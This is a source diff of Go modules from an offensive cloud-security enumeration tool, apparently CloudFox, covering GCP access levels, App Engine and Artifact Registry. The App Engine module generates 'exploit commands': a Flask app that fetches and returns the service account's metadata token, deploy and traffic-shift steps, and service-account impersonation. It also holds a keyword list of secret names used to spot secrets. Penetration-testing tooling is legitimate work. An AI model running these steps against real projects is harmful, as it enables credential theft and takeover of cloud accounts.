if condition.DevicePolicy != nil {
lootFile.Contents += "# Device Policy: configured\n"
}
}
// Extract short level name for gcloud commands
levelName := level.Name
policyName := level.PolicyName
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe this access level:
gcloud access-context-manager levels describe %s --policy=%s
# List all conditions for this access level:
gcloud access-context-manager levels describe %s --policy=%s --format=json | jq '.basic.conditions'
# List all access levels in this policy:
gcloud access-context-manager levels list --policy=%s
# === EXPLOIT COMMANDS ===
# Check if your current IP is allowed by this access level:
curl -s ifconfig.me && echo " <- Check if this IP is in the allowed subnets above"
`, levelName, policyName,
levelName, policyName,
policyName)
// Add IP-specific bypass checks
if len(level.Conditions) > 0 {
for _, condition := range level.Conditions {
if len(condition.IPSubnetworks) > 0 {
lootFile.Contents += "# Test connectivity from allowed IP ranges (use with VPN/proxy):\n"
for _, ip := range condition.IPSubnetworks {
lootFile.Contents += fmt.Sprintf("# Allowed subnet: %s\n", ip)
}
lootFile.Contents += "\n"
}
if len(condition.Members) > 0 {
lootFile.Contents += "# Members that can bypass this access level:\n"
for _, member := range condition.Members {
lootFile.Contents += fmt.Sprintf("# %s\n", member)
}
lootFile.Contents += "\n"
}
}
}
}
for _, condition := range level.Conditions {
for _, ip := range condition.IPSubnetworks {
if lootFile := m.LootMap[orgID]["access-levels-allowed-ips"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf("%s # %s\n", ip, level.Name)
}
}
}
}
func (m *AccessLevelsModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *AccessLevelsModule) getLevelsHeader() []string {
return []string{"Org ID", "Name", "Title", "Policy", "Combining", "Conditions", "Device Policy"}
}
func (m *AccessLevelsModule) getConditionsHeader() []string {
return []string{"Org ID", "Level", "Condition", "IP Ranges", "Members", "Regions", "Device Requirements"}
}
func (m *AccessLevelsModule) levelsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
var body [][]string
for _, level := range levels {
hasDevicePolicy := "No"
for _, cond := range level.Conditions {
if cond.DevicePolicy != nil {
hasDevicePolicy = "Yes"
break
}
}
combiningFunc := level.CombiningFunction
if combiningFunc == "" {
combiningFunc = "AND"
}
body = append(body, []string{
orgID,
level.Name,
level.Title,
level.PolicyName,
combiningFunc,
fmt.Sprintf("%d", len(level.Conditions)),
hasDevicePolicy,
})
}
return body
}
func (m *AccessLevelsModule) conditionsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
var body [][]string
for _, level := range levels {
for i, cond := range level.Conditions {
ipRanges := strings.Join(cond.IPSubnetworks, ", ")
if ipRanges == "" {
ipRanges = "(any)"
}
members := strings.Join(cond.Members, ", ")
if members == "" {
members = "(any)"
}
regions := strings.Join(cond.Regions, ", ")
if regions == "" {
regions = "(any)"
}
deviceReqs := "(none)"
if cond.DevicePolicy != nil {
var reqs []string
if cond.DevicePolicy.RequireScreenLock {
reqs = append(reqs, "screen-lock")
}
if cond.DevicePolicy.RequireCorpOwned {
reqs = append(reqs, "corp-owned")
}
if cond.DevicePolicy.RequireAdminApproval {
reqs = append(reqs, "admin-approval")
}
if len(reqs) > 0 {
deviceReqs = strings.Join(reqs, ", ")
}
}
body = append(body, []string{
orgID,
level.Name,
fmt.Sprintf("%d", i+1),
ipRanges,
members,
regions,
deviceReqs,
})
}
}
return body
}
func (m *AccessLevelsModule) buildTablesForOrg(orgID string) []internal.TableFile {
var tableFiles []internal.TableFile
if levels, ok := m.OrgAccessLevels[orgID]; ok && len(levels) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "access-levels",
Header: m.getLevelsHeader(),
Body: m.levelsToTableBody(levels, orgID),
})
condBody := m.conditionsToTableBody(levels, orgID)
if len(condBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "access-level-conditions",
Header: m.getConditionsHeader(),
Body: condBody,
})
}
}
return tableFiles
}
func (m *AccessLevelsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for orgID := range m.OrgAccessLevels {
tableFiles := m.buildTablesForOrg(orgID)
var lootFiles []internal.LootFile
if orgLoot, ok := m.LootMap[orgID]; ok {
for _, loot := range orgLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.OrgLevelData[orgID] = AccessLevelsOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
}
func (m *AccessLevelsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
// Collect all org IDs
var orgIDs []string
for orgID := range m.OrgAccessLevels {
orgIDs = append(orgIDs, orgID)
}
// Build combined tables with org ID in each row
var allLevelRows [][]string
var allCondRows [][]string
for orgID, levels := range m.OrgAccessLevels {
allLevelRows = append(allLevelRows, m.levelsToTableBody(levels, orgID)...)
allCondRows = append(allCondRows, m.conditionsToTableBody(levels, orgID)...)
}
if len(allLevelRows) > 0 {
tables = append(tables, internal.TableFile{
Name: "access-levels",
Header: m.getLevelsHeader(),
Body: allLevelRows,
})
}
if len(allCondRows) > 0 {
tables = append(tables, internal.TableFile{
Name: "access-level-conditions",
Header: m.getConditionsHeader(),
Body: allCondRows,
})
}
var lootFiles []internal.LootFile
for _, orgLoot := range m.LootMap {
for _, loot := range orgLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AccessLevelsOutput{Table: tables, Loot: lootFiles}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"org", orgIDs, orgIDs, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
}
+828
View File
@@ -0,0 +1,828 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/appengine/v1"
)
// Module name constant
const GCP_APPENGINE_MODULE_NAME string = "app-engine"
var GCPAppEngineCommand = &cobra.Command{
Use: GCP_APPENGINE_MODULE_NAME,
Aliases: []string{"appengine", "gae"},
Short: "Enumerate App Engine applications and security configurations",
Long: `Analyze App Engine applications for security configurations and potential issues.
Features:
- Lists all App Engine services and versions
- Identifies public services without authentication
- Analyzes ingress settings and firewall rules
- Detects environment variable secrets
- Reviews service account configurations
- Identifies deprecated runtimes
- Analyzes traffic splitting configurations`,
Run: runGCPAppEngineCommand,
}
// ------------------------------
// Data Structures
// ------------------------------
type AppEngineApp struct {
ProjectID string
ID string
LocationID string
AuthDomain string
DefaultHostname string
ServingStatus string
DefaultBucket string
ServiceAccount string
DispatchRules int
FirewallRules int
}
type AppEngineService struct {
ProjectID string
ID string
AppID string
Split map[string]float64
DefaultURL string
VersionCount int
LatestVersion string
}
type AppEngineVersion struct {
ProjectID string
ServiceID string
ID string
AppID string
Runtime string
Environment string
ServingStatus string
CreateTime string
InstanceClass string
Scaling string
Network string
VPCConnector string
IngressSettings string
EnvVarCount int
SecretEnvVars int
ServiceAccount string
URL string
DeprecatedRuntime bool
DefaultSA bool
Public bool
}
type AppEngineFirewallRule struct {
ProjectID string
Priority int64
Action string
SourceRange string
Description string
}
// ------------------------------
// Module Struct
// ------------------------------
type AppEngineModule struct {
gcpinternal.BaseGCPModule
// Per-project data for hierarchical output
ProjectApps map[string][]AppEngineApp
ProjectServices map[string][]AppEngineService
ProjectVersions map[string][]AppEngineVersion
ProjectFirewallRules map[string][]AppEngineFirewallRule
LootMap map[string]map[string]*internal.LootFile
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
mu sync.Mutex
totalApps int
totalServices int
publicCount int
secretsFound int
}
// ------------------------------
// Output Struct
// ------------------------------
type AppEngineOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AppEngineOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AppEngineOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPAppEngineCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_APPENGINE_MODULE_NAME)
if err != nil {
return
}
module := &AppEngineModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectApps: make(map[string][]AppEngineApp),
ProjectServices: make(map[string][]AppEngineService),
ProjectVersions: make(map[string][]AppEngineVersion),
ProjectFirewallRules: make(map[string][]AppEngineFirewallRule),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *AppEngineModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
logger.InfoM("Enumerating App Engine applications...", GCP_APPENGINE_MODULE_NAME)
aeService, err := appengine.NewService(ctx)
if err != nil {
logger.ErrorM(fmt.Sprintf("Failed to create App Engine service: %v", err), GCP_APPENGINE_MODULE_NAME)
return
}
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProject(ctx, project, aeService, logger)
}(projectID)
}
wg.Wait()
if m.totalApps == 0 {
logger.InfoM("No App Engine applications found", GCP_APPENGINE_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d App Engine app(s) with %d service(s) and %d version(s)",
m.totalApps, m.totalServices, len(m.getAllVersions())), GCP_APPENGINE_MODULE_NAME)
if m.publicCount > 0 {
logger.InfoM(fmt.Sprintf("Found %d public service(s) without authentication", m.publicCount), GCP_APPENGINE_MODULE_NAME)
}
if m.secretsFound > 0 {
logger.InfoM(fmt.Sprintf("Found %d potential secret(s) in environment variables", m.secretsFound), GCP_APPENGINE_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *AppEngineModule) processProject(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating App Engine for project: %s", projectID), GCP_APPENGINE_MODULE_NAME)
}
app, err := aeService.Apps.Get(projectID).Do()
if err != nil {
if !strings.Contains(err.Error(), "404") {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not get App Engine app in project %s", projectID))
}
return
}
m.mu.Lock()
m.totalApps++
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["appengine-commands"] = &internal.LootFile{
Name: "appengine-commands",
Contents: "# App Engine Commands\n" +
"# Generated by CloudFox\n" +
"# WARNING: Only use with proper authorization\n\n",
}
}
// Add app-level enumeration and exploit commands to loot
m.addAppToLoot(projectID, app.Id, app.DefaultHostname, app.LocationId, app.ServiceAccount)
m.mu.Unlock()
appRecord := AppEngineApp{
ProjectID: projectID,
ID: app.Id,
LocationID: app.LocationId,
AuthDomain: app.AuthDomain,
DefaultHostname: app.DefaultHostname,
ServingStatus: app.ServingStatus,
DefaultBucket: app.DefaultBucket,
ServiceAccount: app.ServiceAccount,
}
if app.DispatchRules != nil {
appRecord.DispatchRules = len(app.DispatchRules)
}
m.mu.Lock()
m.ProjectApps[projectID] = append(m.ProjectApps[projectID], appRecord)
m.mu.Unlock()
m.enumerateServices(ctx, projectID, aeService, logger)
m.enumerateFirewallRules(ctx, projectID, aeService, logger)
}
func (m *AppEngineModule) enumerateServices(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
services, err := aeService.Apps.Services.List(projectID).Do()
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not enumerate App Engine services in project %s", projectID))
return
}
for _, svc := range services.Services {
m.mu.Lock()
m.totalServices++
m.mu.Unlock()
serviceRecord := AppEngineService{
ProjectID: projectID,
ID: svc.Id,
AppID: projectID,
}
if svc.Split != nil {
serviceRecord.Split = svc.Split.Allocations
}
m.mu.Lock()
m.ProjectServices[projectID] = append(m.ProjectServices[projectID], serviceRecord)
m.mu.Unlock()
ingressSettings := "all"
if svc.NetworkSettings != nil && svc.NetworkSettings.IngressTrafficAllowed != "" {
ingressSettings = svc.NetworkSettings.IngressTrafficAllowed
}
m.enumerateVersions(ctx, projectID, svc.Id, ingressSettings, aeService, logger)
}
}
func (m *AppEngineModule) enumerateVersions(ctx context.Context, projectID, serviceID, ingressSettings string, aeService *appengine.APIService, logger internal.Logger) {
versions, err := aeService.Apps.Services.Versions.List(projectID, serviceID).Do()
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not enumerate App Engine versions for service %s", serviceID))
return
}
for _, ver := range versions.Versions {
versionRecord := AppEngineVersion{
ProjectID: projectID,
ServiceID: serviceID,
ID: ver.Id,
AppID: projectID,
Runtime: ver.Runtime,
Environment: ver.Env,
ServingStatus: ver.ServingStatus,
CreateTime: ver.CreateTime,
IngressSettings: ingressSettings,
ServiceAccount: ver.ServiceAccount,
URL: ver.VersionUrl,
}
if ver.InstanceClass != "" {
versionRecord.InstanceClass = ver.InstanceClass
}
if ver.Network != nil {
versionRecord.Network = ver.Network.Name
}
if ver.VpcAccessConnector != nil {
versionRecord.VPCConnector = ver.VpcAccessConnector.Name
}
// Scaling type
if ver.AutomaticScaling != nil {
versionRecord.Scaling = "automatic"
} else if ver.BasicScaling != nil {
versionRecord.Scaling = "basic"
} else if ver.ManualScaling != nil {
versionRecord.Scaling = "manual"
}
// Check for deprecated runtime
versionRecord.DeprecatedRuntime = m.isDeprecatedRuntime(ver.Runtime)
// Check environment variables for secrets
if ver.EnvVariables != nil {
versionRecord.EnvVarCount = len(ver.EnvVariables)
secretCount := m.analyzeEnvVars(ver.EnvVariables, serviceID, ver.Id, projectID)
versionRecord.SecretEnvVars = secretCount
}
// Check ingress settings for public access
if versionRecord.IngressSettings == "all" || versionRecord.IngressSettings == "INGRESS_TRAFFIC_ALLOWED_ALL" {
versionRecord.Public = true
m.mu.Lock()
m.publicCount++
m.mu.Unlock()
}
// Check for default service account
if versionRecord.ServiceAccount == "" || strings.Contains(versionRecord.ServiceAccount, "@appspot.gserviceaccount.com") {
versionRecord.DefaultSA = true
}
m.mu.Lock()
m.ProjectVersions[projectID] = append(m.ProjectVersions[projectID], versionRecord)
m.mu.Unlock()
}
}
func (m *AppEngineModule) enumerateFirewallRules(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
rules, err := aeService.Apps.Firewall.IngressRules.List(projectID).Do()
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not enumerate App Engine firewall rules in project %s", projectID))
return
}
for _, rule := range rules.IngressRules {
fwRule := AppEngineFirewallRule{
ProjectID: projectID,
Priority: rule.Priority,
Action: rule.Action,
SourceRange: rule.SourceRange,
Description: rule.Description,
}
m.mu.Lock()
m.ProjectFirewallRules[projectID] = append(m.ProjectFirewallRules[projectID], fwRule)
m.mu.Unlock()
}
m.mu.Lock()
for i := range m.ProjectApps[projectID] {
if m.ProjectApps[projectID][i].ProjectID == projectID {
m.ProjectApps[projectID][i].FirewallRules = len(rules.IngressRules)
break
}
}
m.mu.Unlock()
}
func (m *AppEngineModule) addAppToLoot(projectID, appID, defaultHostname, locationID, serviceAccount string) {
lootFile := m.LootMap[projectID]["appengine-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# APP ENGINE: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# Default Hostname: %s\n"+
"# Service Account: %s\n",
appID, projectID, locationID, defaultHostname, serviceAccount,
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe app:
gcloud app describe --project=%s
# List services:
gcloud app services list --project=%s
# List versions for all services:
gcloud app versions list --project=%s
# List firewall rules:
gcloud app firewall-rules list --project=%s
# Describe specific service:
gcloud app services describe default --project=%s
# View application logs:
gcloud app logs read --project=%s --limit=50
# List dispatch rules:
gcloud app describe --project=%s --format=json | jq '.dispatchRules'
# === EXPLOIT COMMANDS ===
# Deploy a new version (code execution as App Engine SA: %s):
# Create a minimal app.yaml:
cat > /tmp/app.yaml << 'APPEOF'
runtime: python39
instance_class: F1
handlers:
- url: /.*
script: auto
APPEOF
cat > /tmp/main.py << 'MAINEOF'
import requests, json
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
r = requests.get('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', headers={'Metadata-Flavor': 'Google'})
return json.dumps(r.json())
MAINEOF
gcloud app deploy /tmp/app.yaml --project=%s --quiet --no-promote
# Deploy to a specific service:
gcloud app deploy /tmp/app.yaml --project=%s --service=cloudfox-test --quiet --no-promote
# Set traffic to new malicious version:
gcloud app services set-traffic default --splits=VERSION_ID=1 --project=%s
# SSH to App Engine Flex instance (only for flex environment):
gcloud app instances ssh INSTANCE_ID --service=SERVICE --version=VERSION --project=%s
# Access default URL:
curl https://%s
# Impersonate App Engine default service account:
gcloud auth print-access-token --impersonate-service-account=%s
`,
projectID, projectID, projectID, projectID, projectID, projectID, projectID,
serviceAccount,
projectID, projectID, projectID, projectID,
defaultHostname, serviceAccount,
)
}
func (m *AppEngineModule) analyzeEnvVars(envVars map[string]string, serviceID, versionID, projectID string) int {
secretPatterns := []string{
"PASSWORD", "SECRET", "API_KEY", "TOKEN", "PRIVATE_KEY",
"DATABASE_URL", "DB_PASSWORD", "MYSQL_PASSWORD", "POSTGRES_PASSWORD",
"MONGODB_URI", "AWS_SECRET", "ENCRYPTION_KEY", "JWT_SECRET", "SESSION_SECRET",
}
secretCount := 0
for name := range envVars {
nameUpper := strings.ToUpper(name)
for _, pattern := range secretPatterns {
if strings.Contains(nameUpper, pattern) {
secretCount++
m.mu.Lock()
m.secretsFound++
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# Potential secret in env var: %s (service: %s, version: %s)\n"+
"# Recommendation: Migrate to Secret Manager\n"+
"gcloud app versions describe %s --service=%s --project=%s\n\n",
name, serviceID, versionID,
versionID, serviceID, projectID,
)
}
m.mu.Unlock()
break
}
}
}
return secretCount
}
func (m *AppEngineModule) isDeprecatedRuntime(runtime string) bool {
deprecatedRuntimes := []string{
"python27", "go111", "go112", "go113", "java8", "java11",
"nodejs10", "nodejs12", "php55", "php72", "ruby25",
}
for _, deprecated := range deprecatedRuntimes {
if runtime == deprecated {
return true
}
}
return false
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *AppEngineModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getAllVersions returns all versions from all projects
func (m *AppEngineModule) getAllVersions() []AppEngineVersion {
var all []AppEngineVersion
for _, versions := range m.ProjectVersions {
all = append(all, versions...)
}
return all
}
// getAllApps returns all apps from all projects
func (m *AppEngineModule) getAllApps() []AppEngineApp {
var all []AppEngineApp
for _, apps := range m.ProjectApps {
all = append(all, apps...)
}
return all
}
// getAllFirewallRules returns all firewall rules from all projects
func (m *AppEngineModule) getAllFirewallRules() []AppEngineFirewallRule {
var all []AppEngineFirewallRule
for _, rules := range m.ProjectFirewallRules {
all = append(all, rules...)
}
return all
}
// getTableHeader returns the main appengine table header
func (m *AppEngineModule) getTableHeader() []string {
return []string{
"Project ID",
"Project Name",
"App ID",
"Location",
"Status",
"Hostname",
"Service",
"Version",
"Runtime",
"Environment",
"Ingress",
"Public",
"Service Account",
"SA Attack Paths",
"Default SA",
"Deprecated",
"Env Vars",
"Secrets",
"VPC Connector",
"URL",
}
}
// buildTablesForProject builds tables for given project data
func (m *AppEngineModule) buildTablesForProject(projectID string, apps []AppEngineApp, versions []AppEngineVersion, firewallRules []AppEngineFirewallRule) []internal.TableFile {
var tables []internal.TableFile
header := m.getTableHeader()
var body [][]string
if len(versions) > 0 {
for _, ver := range versions {
var app AppEngineApp
for _, a := range apps {
if a.ProjectID == ver.ProjectID {
app = a
break
}
}
publicStr := "No"
if ver.Public {
publicStr = "Yes"
}
defaultSAStr := "No"
if ver.DefaultSA {
defaultSAStr = "Yes"
}
deprecatedStr := "No"
if ver.DeprecatedRuntime {
deprecatedStr = "Yes"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if ver.ServiceAccount != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, ver.ServiceAccount)
} else {
attackPaths = "No"
}
}
body = append(body, []string{
ver.ProjectID,
m.GetProjectName(ver.ProjectID),
app.ID,
app.LocationID,
app.ServingStatus,
app.DefaultHostname,
ver.ServiceID,
ver.ID,
ver.Runtime,
ver.Environment,
ver.IngressSettings,
publicStr,
ver.ServiceAccount,
attackPaths,
defaultSAStr,
deprecatedStr,
fmt.Sprintf("%d", ver.EnvVarCount),
fmt.Sprintf("%d", ver.SecretEnvVars),
ver.VPCConnector,
ver.URL,
})
// Add public services to loot
if ver.Public && m.LootMap[projectID] != nil {
if lootFile := m.LootMap[projectID]["appengine-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# Public App Engine service: %s/%s\n"+
"curl %s\n\n",
ver.ServiceID, ver.ID, ver.URL,
)
}
}
}
} else {
for _, app := range apps {
body = append(body, []string{
app.ProjectID,
m.GetProjectName(app.ProjectID),
app.ID,
app.LocationID,
app.ServingStatus,
app.DefaultHostname,
"No services deployed", // Service
"-", // Version
"-", // Runtime
"-", // Environment
"-", // Ingress
"-", // Public
app.ServiceAccount, // Service Account
"-", // SA Attack Paths
"-", // Default SA
"-", // Deprecated
"-", // Env Vars
"-", // Secrets
"-", // VPC Connector
"-", // URL
})
}
}
tables = append(tables, internal.TableFile{
Name: "appengine",
Header: header,
Body: body,
})
// Firewall rules table
if len(firewallRules) > 0 {
var fwBody [][]string
for _, rule := range firewallRules {
fwBody = append(fwBody, []string{
rule.ProjectID,
m.GetProjectName(rule.ProjectID),
fmt.Sprintf("%d", rule.Priority),
rule.Action,
rule.SourceRange,
rule.Description,
})
}
tables = append(tables, internal.TableFile{
Name: "appengine-firewall",
Header: []string{
"Project ID",
"Project Name",
"Priority",
"Action",
"Source Range",
"Description",
},
Body: fwBody,
})
}
return tables
}
// writeHierarchicalOutput writes output to per-project directories
func (m *AppEngineModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all projects with data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectApps {
projectsWithData[projectID] = true
}
for projectID := range projectsWithData {
apps := m.ProjectApps[projectID]
versions := m.ProjectVersions[projectID]
firewallRules := m.ProjectFirewallRules[projectID]
tables := m.buildTablesForProject(projectID, apps, versions, firewallRules)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = AppEngineOutput{Table: tables, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_APPENGINE_MODULE_NAME)
m.CommandCounter.Error++
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *AppEngineModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allApps := m.getAllApps()
allVersions := m.getAllVersions()
allFirewallRules := m.getAllFirewallRules()
// Use empty projectID since we're building for all projects
tables := m.buildTablesForProject("", allApps, allVersions, allFirewallRules)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AppEngineOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, projectID := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(projectID)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_APPENGINE_MODULE_NAME)
m.CommandCounter.Error++
}
}
+552 -136
View File
@@ -1,10 +1,14 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
artifactregistry "cloud.google.com/go/artifactregistry/apiv1"
ArtifactRegistryService "github.com/BishopFox/cloudfox/gcp/services/artifactRegistryService"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/spf13/cobra"
@@ -12,161 +16,573 @@ import (
var GCPArtifactRegistryCommand = &cobra.Command{
Use: globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
Aliases: []string{},
Short: "Display GCP artifact registry information",
Args: cobra.MinimumNArgs(0),
Long: `
Display available artifact registry resource information:
cloudfox gcp artfact-registry`,
Aliases: []string{"ar", "artifacts", "gcr"},
Short: "Enumerate GCP Artifact Registry and Container Registry with security configuration",
Long: `Enumerate GCP Artifact Registry and legacy Container Registry (gcr.io) with security-relevant details.
Features:
- Lists all Artifact Registry repositories with security configuration
- Shows Docker images and package artifacts with tags and digests
- Enumerates IAM policies per repository and identifies public repositories
- Shows encryption type (Google-managed vs CMEK)
- Shows repository mode (standard, virtual, remote)
- Generates gcloud commands for artifact enumeration
- Generates exploitation commands for artifact access
- Enumerates legacy Container Registry (gcr.io) locations
Security Columns:
- Public: Whether the repository has allUsers or allAuthenticatedUsers access
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)
- Mode: STANDARD_REPOSITORY, VIRTUAL_REPOSITORY, or REMOTE_REPOSITORY
- RegistryType: "artifact-registry" or "container-registry" (legacy gcr.io)`,
Run: runGCPArtifactRegistryCommand,
}
// Code needed to output fields from buckets results using generic HandleOutput function
// ------------------------------
// Module Struct with embedded BaseGCPModule
// ------------------------------
type ArtifactRegistryModule struct {
gcpinternal.BaseGCPModule
// Results struct that implements the internal.OutputInterface
type GCPArtifactRegistryResults struct {
ArtifactData []ArtifactRegistryService.ArtifactInfo
RepositoryData []ArtifactRegistryService.RepositoryInfo
// Module-specific fields
ProjectArtifacts map[string][]ArtifactRegistryService.ArtifactInfo // projectID -> artifacts
ProjectRepositories map[string][]ArtifactRegistryService.RepositoryInfo // projectID -> repos
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
client *artifactregistry.Client
mu sync.Mutex
}
// Decide what format the name, header and body of the CSV & JSON files will be
func (g GCPArtifactRegistryResults) TableFiles() []internal.TableFile {
var tableFiles []internal.TableFile
repoHeader := []string{
"Name",
"Format",
"Description",
"Size",
"Location",
"ProjectID",
}
var repoBody [][]string
for _, value := range g.RepositoryData {
repoBody = append(
repoBody,
[]string{
value.Name,
value.Format,
value.Description,
value.SizeBytes,
value.Location,
value.ProjectID,
},
)
}
repoTableFile := internal.TableFile{
Header: repoHeader,
Body: repoBody,
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
}
tableFiles = append(tableFiles, repoTableFile)
artifactHeader := []string{
"Name",
"Format",
"Version",
"Location",
"Repository",
"Size",
"Updated",
"ProjectID",
}
var artifactBody [][]string
for _, value := range g.ArtifactData {
artifactBody = append(
artifactBody,
[]string{
value.Name,
value.Format,
value.Version,
value.Location,
value.Repository,
value.SizeBytes,
value.Updated,
value.ProjectID,
},
)
}
artifactTableFile := internal.TableFile{
Header: artifactHeader,
Body: artifactBody,
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
}
tableFiles = append(tableFiles, artifactTableFile)
return tableFiles
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// ------------------------------
type ArtifactRegistryOutput struct {
Table []internal.TableFile
